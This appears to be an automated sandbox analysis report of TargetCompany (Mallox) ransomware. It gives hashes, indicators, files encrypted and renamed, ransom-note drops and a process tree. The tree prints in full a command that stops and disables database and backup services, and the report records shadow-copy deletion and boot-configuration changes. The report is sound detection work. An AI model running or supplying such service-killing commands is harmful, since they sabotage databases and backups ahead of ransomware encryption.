Analysis
-
max time kernel
152s -
max time network
150s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
14-01-2022 06:02
Static task
static1
Behavioral task
behavioral1
Sample
InternalCrossContextDelega.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
InternalCrossContextDelega.exe
Resource
win10-en-20211208
General
-
Target
InternalCrossContextDelega.exe
-
Size
429KB
-
MD5
22367699e131a9d98f842a1003fd193a
-
SHA1
c275084d65f845b4d957c05b874fade071193468
-
SHA256
a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb
-
SHA512
26aedfe2eede18f72425f37d57fde838466345187f1df365528b0798a2f323badfbbb4f3b5571c4ea554cdb757dc0b7b2f7c87f5ae88c6e2cee41eaa92b6e828
Malware Config
Extracted
C:\$Recycle.Bin\RECOVERY INFORMATION.txt
Signatures
-
TargetCompany
Ransomware which encrypts files using a combination of ChaCha20, AES-128, and Curve25519, first seen in June 2021.
-
TargetCompany Payload 3 IoCs
resource yara_rule behavioral2/memory/740-128-0x000000000040AF56-mapping.dmp family_targetcompany behavioral2/memory/740-127-0x0000000000400000-0x0000000000428000-memory.dmp family_targetcompany behavioral2/memory/740-129-0x0000000000400000-0x0000000000428000-memory.dmp family_targetcompany -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1812 bcdedit.exe 2232 bcdedit.exe -
Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\AssertStop.tiff => C:\Users\Admin\Pictures\AssertStop.tiff.mallox InternalCrossContextDelega.exe File opened for modification C:\Users\Admin\Pictures\CompareAdd.tiff InternalCrossContextDelega.exe File renamed C:\Users\Admin\Pictures\CompareAdd.tiff => C:\Users\Admin\Pictures\CompareAdd.tiff.mallox InternalCrossContextDelega.exe File renamed C:\Users\Admin\Pictures\HideTrace.tif => C:\Users\Admin\Pictures\HideTrace.tif.mallox InternalCrossContextDelega.exe File renamed C:\Users\Admin\Pictures\AddResolve.crw => C:\Users\Admin\Pictures\AddResolve.crw.mallox InternalCrossContextDelega.exe File renamed C:\Users\Admin\Pictures\CompleteConvertFrom.raw => C:\Users\Admin\Pictures\CompleteConvertFrom.raw.mallox InternalCrossContextDelega.exe File renamed C:\Users\Admin\Pictures\RequestEnable.tif => C:\Users\Admin\Pictures\RequestEnable.tif.mallox InternalCrossContextDelega.exe File opened for modification C:\Users\Admin\Pictures\AssertStop.tiff InternalCrossContextDelega.exe -
Stops running service(s) 3 TTPs
-
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Q: InternalCrossContextDelega.exe File opened (read-only) \??\R: InternalCrossContextDelega.exe File opened (read-only) \??\Z: InternalCrossContextDelega.exe File opened (read-only) \??\K: InternalCrossContextDelega.exe File opened (read-only) \??\J: InternalCrossContextDelega.exe File opened (read-only) \??\L: InternalCrossContextDelega.exe File opened (read-only) \??\N: InternalCrossContextDelega.exe File opened (read-only) \??\S: InternalCrossContextDelega.exe File opened (read-only) \??\T: InternalCrossContextDelega.exe File opened (read-only) \??\W: InternalCrossContextDelega.exe File opened (read-only) \??\E: InternalCrossContextDelega.exe File opened (read-only) \??\F: InternalCrossContextDelega.exe File opened (read-only) \??\H: InternalCrossContextDelega.exe File opened (read-only) \??\Y: InternalCrossContextDelega.exe File opened (read-only) \??\A: InternalCrossContextDelega.exe File opened (read-only) \??\G: InternalCrossContextDelega.exe File opened (read-only) \??\I: InternalCrossContextDelega.exe File opened (read-only) \??\M: InternalCrossContextDelega.exe File opened (read-only) \??\O: InternalCrossContextDelega.exe File opened (read-only) \??\P: InternalCrossContextDelega.exe File opened (read-only) \??\U: InternalCrossContextDelega.exe File opened (read-only) \??\V: InternalCrossContextDelega.exe File opened (read-only) \??\B: InternalCrossContextDelega.exe File opened (read-only) \??\X: InternalCrossContextDelega.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3800 set thread context of 740 3800 InternalCrossContextDelega.exe 75 -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nb-no\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\cs-cz\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\root\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ko-kr\ui-strings.js InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProXC2RVL_MAKC2R-pl.xrm-ms InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Personal2019R_Trial-pl.xrm-ms InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_OEM_Perp3-pl.xrm-ms InternalCrossContextDelega.exe File created C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\OpenSSL64.DllA\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBluTSFrame.png InternalCrossContextDelega.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Office Setup Controller\Office.en-us\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo InternalCrossContextDelega.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\dumpmeta.luac InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\root\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ro-ro\ui-strings.js InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sk-sk\ui-strings.js InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\illustrations_retina.png InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fi-fi\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\[email protected] InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nl-nl\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\org-netbeans-modules-core-kit.xml_hidden InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\eu-es\ui-strings.js InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.SPREADSHEETCOMPARE.16.1033.hxn InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\SETLANG_COL.HXC InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL093.XML InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\AccessR_Grace-ppd.xrm-ms InternalCrossContextDelega.exe File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\he\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\booklist.gif InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest3-pl.xrm-ms InternalCrossContextDelega.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ecf_3.4.0.v20140827-1444.jar InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Compare_R_RHP.aapp InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\en-gb\ui-strings.js InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sv-se\ui-strings.js InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\pl-pl\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-ae\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-actions_ja.jar InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\da-dk\ui-strings.js InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons.png InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\GRPHFLT\WPGIMP32.FLT InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\it-it\ui-strings.js InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\cs-cz\ui-strings.js InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\CancelFluent.png InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProO365R_Subscription-ppd.xrm-ms InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ro-ro\ui-strings.js InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pl-pl\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_hover.png InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\he-il\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sk-sk\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdR_OEM_Perp-ul-oob.xrm-ms InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons.png InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr_2x.gif InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-ma\ui-strings.js InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sl-sl\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\Cultures\OFFICE.ODF InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\root\ui-strings.js InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\hr-hr\ui-strings.js InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ru-ru\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\flat_officeFontsPreview.ttf InternalCrossContextDelega.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Discovers systems in the same network 1 TTPs 2 IoCs
pid Process 4548 net.exe 2156 net.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3764 vssadmin.exe -
Kills process with taskkill 64 IoCs
pid Process 4664 taskkill.exe 4736 Process not Found 1820 Process not Found 5028 Process not Found 60 taskkill.exe 5044 taskkill.exe 980 Process not Found 288 Process not Found 1672 Process not Found 4928 Process not Found 4144 taskkill.exe 3996 Process not Found 5108 Process not Found 520 Process not Found 4916 Process not Found 2840 Process not Found 4668 Process not Found 5076 Process not Found 4828 taskkill.exe 2832 taskkill.exe 4068 taskkill.exe 4596 taskkill.exe 968 Process not Found 4876 Process not Found 4648 Process not Found 3052 Process not Found 4812 taskkill.exe 4776 Process not Found 1712 Process not Found 1076 Process not Found 4992 Process not Found 4772 taskkill.exe 4976 taskkill.exe 3864 Process not Found 1328 Process not Found 896 Process not Found 4492 Process not Found 2752 taskkill.exe 3060 Process not Found 64 Process not Found 1880 Process not Found 1020 Process not Found 1052 Process not Found 4860 Process not Found 1476 Process not Found 2204 taskkill.exe 3208 Process not Found 1944 Process not Found 304 Process not Found 1308 Process not Found 4100 Process not Found 4852 taskkill.exe 4768 Process not Found 4864 Process not Found 4140 taskkill.exe 1108 taskkill.exe 2368 taskkill.exe 4624 taskkill.exe 4100 taskkill.exe 4936 taskkill.exe 4392 taskkill.exe 4948 Process not Found 4852 taskkill.exe 4216 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 3800 InternalCrossContextDelega.exe 3800 InternalCrossContextDelega.exe 3800 InternalCrossContextDelega.exe 3800 InternalCrossContextDelega.exe 3800 InternalCrossContextDelega.exe 3800 InternalCrossContextDelega.exe 3800 InternalCrossContextDelega.exe 3800 InternalCrossContextDelega.exe 740 InternalCrossContextDelega.exe 740 InternalCrossContextDelega.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3800 InternalCrossContextDelega.exe Token: SeTakeOwnershipPrivilege 740 InternalCrossContextDelega.exe Token: SeDebugPrivilege 740 InternalCrossContextDelega.exe Token: SeBackupPrivilege 1772 net.exe Token: SeRestorePrivilege 1772 net.exe Token: SeAuditPrivilege 1772 net.exe Token: SeDebugPrivilege 4012 net1.exe Token: SeDebugPrivilege 2828 sc.exe Token: SeDebugPrivilege 1812 taskkill.exe Token: SeDebugPrivilege 308 net.exe Token: SeDebugPrivilege 980 taskkill.exe Token: SeDebugPrivilege 2844 net1.exe Token: SeDebugPrivilege 2704 net1.exe Token: SeDebugPrivilege 1620 net.exe Token: SeDebugPrivilege 3532 sc.exe Token: SeDebugPrivilege 60 sc.exe Token: SeDebugPrivilege 4384 taskkill.exe Token: SeDebugPrivilege 4488 taskkill.exe Token: SeDebugPrivilege 4568 net.exe Token: SeDebugPrivilege 4712 net1.exe Token: SeDebugPrivilege 4696 net.exe Token: SeDebugPrivilege 4828 net1.exe Token: SeDebugPrivilege 4812 taskkill.exe Token: SeDebugPrivilege 4904 taskkill.exe Token: SeDebugPrivilege 3512 taskkill.exe Token: SeDebugPrivilege 4564 taskkill.exe Token: SeDebugPrivilege 4620 net.exe Token: SeDebugPrivilege 5048 taskkill.exe Token: SeDebugPrivilege 4112 net1.exe Token: SeDebugPrivilege 372 taskkill.exe Token: SeDebugPrivilege 4684 taskkill.exe Token: SeDebugPrivilege 4944 taskkill.exe Token: SeDebugPrivilege 312 net.exe Token: SeDebugPrivilege 4960 taskkill.exe Token: SeDebugPrivilege 4972 Process not Found Token: SeDebugPrivilege 4460 sc.exe Token: SeDebugPrivilege 4432 taskkill.exe Token: SeDebugPrivilege 4980 Process not Found Token: SeDebugPrivilege 4752 taskkill.exe Token: SeDebugPrivilege 2832 taskkill.exe Token: SeDebugPrivilege 4832 taskkill.exe Token: SeDebugPrivilege 4512 Process not Found Token: SeDebugPrivilege 4908 Process not Found Token: SeDebugPrivilege 4792 taskkill.exe Token: SeDebugPrivilege 4992 taskkill.exe Token: SeDebugPrivilege 2464 taskkill.exe Token: SeDebugPrivilege 4952 taskkill.exe Token: SeDebugPrivilege 4724 taskkill.exe Token: SeDebugPrivilege 4720 net.exe Token: SeDebugPrivilege 5112 taskkill.exe Token: SeDebugPrivilege 2232 Process not Found Token: SeDebugPrivilege 5108 Process not Found Token: SeDebugPrivilege 1476 Process not Found Token: SeDebugPrivilege 372 taskkill.exe Token: SeDebugPrivilege 4856 taskkill.exe Token: SeDebugPrivilege 4296 Process not Found Token: SeDebugPrivilege 4484 taskkill.exe Token: SeDebugPrivilege 4536 taskkill.exe Token: SeDebugPrivilege 4972 Process not Found Token: SeDebugPrivilege 4800 Process not Found Token: SeDebugPrivilege 4468 taskkill.exe Token: SeDebugPrivilege 4904 Process not Found Token: SeDebugPrivilege 2816 Process not Found Token: SeDebugPrivilege 3644 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3800 wrote to memory of 2648 3800 InternalCrossContextDelega.exe 69 PID 3800 wrote to memory of 2648 3800 InternalCrossContextDelega.exe 69 PID 3800 wrote to memory of 2648 3800 InternalCrossContextDelega.exe 69 PID 3800 wrote to memory of 1604 3800 InternalCrossContextDelega.exe 71 PID 3800 wrote to memory of 1604 3800 InternalCrossContextDelega.exe 71 PID 3800 wrote to memory of 1604 3800 InternalCrossContextDelega.exe 71 PID 3800 wrote to memory of 1936 3800 InternalCrossContextDelega.exe 72 PID 3800 wrote to memory of 1936 3800 InternalCrossContextDelega.exe 72 PID 3800 wrote to memory of 1936 3800 InternalCrossContextDelega.exe 72 PID 3800 wrote to memory of 1052 3800 InternalCrossContextDelega.exe 73 PID 3800 wrote to memory of 1052 3800 InternalCrossContextDelega.exe 73 PID 3800 wrote to memory of 1052 3800 InternalCrossContextDelega.exe 73 PID 3800 wrote to memory of 716 3800 InternalCrossContextDelega.exe 74 PID 3800 wrote to memory of 716 3800 InternalCrossContextDelega.exe 74 PID 3800 wrote to memory of 716 3800 InternalCrossContextDelega.exe 74 PID 3800 wrote to memory of 740 3800 InternalCrossContextDelega.exe 75 PID 3800 wrote to memory of 740 3800 InternalCrossContextDelega.exe 75 PID 3800 wrote to memory of 740 3800 InternalCrossContextDelega.exe 75 PID 3800 wrote to memory of 740 3800 InternalCrossContextDelega.exe 75 PID 3800 wrote to memory of 740 3800 InternalCrossContextDelega.exe 75 PID 3800 wrote to memory of 740 3800 InternalCrossContextDelega.exe 75 PID 3800 wrote to memory of 740 3800 InternalCrossContextDelega.exe 75 PID 3800 wrote to memory of 740 3800 InternalCrossContextDelega.exe 75 PID 3800 wrote to memory of 740 3800 InternalCrossContextDelega.exe 75 PID 3800 wrote to memory of 740 3800 InternalCrossContextDelega.exe 75 PID 2648 wrote to memory of 3736 2648 cmd.exe 76 PID 2648 wrote to memory of 3736 2648 cmd.exe 76 PID 2648 wrote to memory of 3736 2648 cmd.exe 76 PID 740 wrote to memory of 3764 740 InternalCrossContextDelega.exe 78 PID 740 wrote to memory of 3764 740 InternalCrossContextDelega.exe 78 PID 740 wrote to memory of 3268 740 InternalCrossContextDelega.exe 80 PID 740 wrote to memory of 3268 740 InternalCrossContextDelega.exe 80 PID 740 wrote to memory of 3032 740 InternalCrossContextDelega.exe 81 PID 740 wrote to memory of 3032 740 InternalCrossContextDelega.exe 81 PID 2648 wrote to memory of 2352 2648 cmd.exe 84 PID 2648 wrote to memory of 2352 2648 cmd.exe 84 PID 2648 wrote to memory of 2352 2648 cmd.exe 84 PID 2648 wrote to memory of 2060 2648 cmd.exe 86 PID 2648 wrote to memory of 2060 2648 cmd.exe 86 PID 2648 wrote to memory of 2060 2648 cmd.exe 86 PID 3032 wrote to memory of 1812 3032 cmd.exe 303 PID 3032 wrote to memory of 1812 3032 cmd.exe 303 PID 3268 wrote to memory of 2232 3268 cmd.exe 673 PID 3268 wrote to memory of 2232 3268 cmd.exe 673 PID 3736 wrote to memory of 3260 3736 cmd.exe 166 PID 3736 wrote to memory of 3260 3736 cmd.exe 166 PID 3736 wrote to memory of 3260 3736 cmd.exe 166 PID 2060 wrote to memory of 4012 2060 cmd.exe 656 PID 2060 wrote to memory of 4012 2060 cmd.exe 656 PID 2060 wrote to memory of 4012 2060 cmd.exe 656 PID 2648 wrote to memory of 2948 2648 sc.exe 95 PID 2648 wrote to memory of 2948 2648 sc.exe 95 PID 2648 wrote to memory of 2948 2648 sc.exe 95 PID 2352 wrote to memory of 2968 2352 cmd.exe 121 PID 2352 wrote to memory of 2968 2352 cmd.exe 121 PID 2352 wrote to memory of 2968 2352 cmd.exe 121 PID 3260 wrote to memory of 1088 3260 taskkill.exe 97 PID 3260 wrote to memory of 1088 3260 taskkill.exe 97 PID 3260 wrote to memory of 1088 3260 taskkill.exe 97 PID 2352 wrote to memory of 1496 2352 cmd.exe 743 PID 2352 wrote to memory of 1496 2352 cmd.exe 743 PID 2352 wrote to memory of 1496 2352 cmd.exe 743 PID 2648 wrote to memory of 1836 2648 sc.exe 99 PID 2648 wrote to memory of 1836 2648 sc.exe 99
Processes
-
C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3800 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\F.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & net stop "SQLSERVERAGENT" & net stop "SQLBrowser" & net stop "SQLTELEMETRY" & net stop "MsDtsServer130" & net stop "SSISTELEMETRY130" & net stop "SQLWrite" & net stop "MSSQL$VEEAMSQL2012" & net stop "SQLAgent$VEEAMSQL2012" & net stop "MSSQL" & net stop "SQLAgent" & net stop "MSSQLServerADHelper100" & net stop "MSSQLServerOLAPService" & net stop "MsDtsServer100" & net stop "ReportServer" & net stop "SQLTELEMETRY$HL" & net stop "TMBMServer" & net stop "MSSQL$PROGID" & net stop "MSSQL$WOLTERSKLUWER" & net stop "SQLAgent$PROGID" & net stop "SQLAgent$WOLTERSKLUWER" & net stop "MSSQLFDLauncher$OPTIMA" & net stop "MSSQL$OPTIMA" & net stop "SQLAgent$OPTIMA" & net stop "ReportServer$OPTIMA" & net stop "msftesql$SQLEXPRESS" & net stop "postgresql-x64-9.4" & sc config "MSSQLFDLauncher" start= disabled & sc config "SQLSERVERAGENT" start= disabled & sc config "SQLBrowser" start= disabled & sc config "SQLTELEMETRY" start= disabled & sc config "MsDtsServer130" start= disabled & sc config "SSISTELEMETRY130" start= disabled & sc config "MSSQL$WOLTERSKLUWER" start= disabled & sc config "SQLAgent$PROGID" start= disabled "3⤵
- Suspicious use of WriteProcessMemory
PID:3736 -
C:\Windows\SysWOW64\net.exenet stop "SQLSERVERAGENT"4⤵PID:3260
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLSERVERAGENT"5⤵PID:1088
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLBrowser"4⤵PID:372
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLBrowser"5⤵PID:2832
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLTELEMETRY"4⤵PID:1536
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer130"4⤵PID:3500
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer130"5⤵PID:716
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SSISTELEMETRY130"4⤵PID:3860
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLWrite"4⤵PID:968
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLWrite"5⤵PID:1984
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$VEEAMSQL2012"4⤵PID:4392
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012"5⤵PID:4452
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$VEEAMSQL2012"4⤵PID:4800
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012"5⤵PID:4940
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL"4⤵PID:2032
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL"5⤵PID:3892
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent"4⤵PID:4596
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent"5⤵PID:4936
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerADHelper100"4⤵PID:5000
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerOLAPService"4⤵PID:4452
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerOLAPService"5⤵PID:4684
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer100"4⤵PID:288
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer100"5⤵PID:5056
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer"4⤵PID:1912
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer"5⤵PID:4388
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TMBMServer"4⤵PID:1380
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TMBMServer"5⤵PID:4116
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLTELEMETRY$HL"4⤵PID:4248
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PROGID"4⤵PID:4304
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$WOLTERSKLUWER"4⤵PID:2744
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$WOLTERSKLUWER"5⤵PID:280
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PROGID"4⤵PID:4232
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PROGID"5⤵PID:308
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$WOLTERSKLUWER"4⤵PID:4808
